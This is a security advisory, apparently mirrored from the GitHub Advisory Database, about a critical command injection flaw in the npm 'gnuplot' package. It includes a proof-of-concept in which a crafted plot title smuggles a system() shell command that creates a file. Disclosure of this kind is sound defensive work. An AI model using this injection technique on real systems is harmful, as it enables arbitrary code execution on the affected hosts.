# GHSA-cfwc-xjfp-44jg: Command Injection in gnuplot

- Severity: Critical (rating, scored by GitHub)
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2020-09-04T17:19:48.000Z
- Modified: 2020-08-31T18:59:23.000Z
- Weaknesses: CWE-77

## Description

All versions of `gnuplot` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:

```
var gnuplot = require('gnuplot');

const title = '"\nset title system("touch testing")\n#';

gnuplot()
.set('term png')
.set('output "out.png"')
.set(`title "${title}"`)
.set('xrange [-10:10]')
.set('yrange [-2:2]')
.set('zeroaxis')
.plot('(x/4)**2, sin(x), 1/x')
.end();
```


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

(As written by GitHub Advisory Database.)

## Affected

- gnuplot (npm): from 0.0.0

## References

- <https://www.npmjs.com/advisories/1440> (web)

## Sources

- GitHub Advisory Database: [GHSA-cfwc-xjfp-44jg](https://github.com/advisories/GHSA-cfwc-xjfp-44jg), CC-BY-4.0, modified 2020-08-31

---

Page: https://cve.day/GHSA-cfwc-xjfp-44jg · Whole record: https://cve.day/GHSA-cfwc-xjfp-44jg.json · Rebuilt by cve.day 2026-11-25T22:56:45.085Z
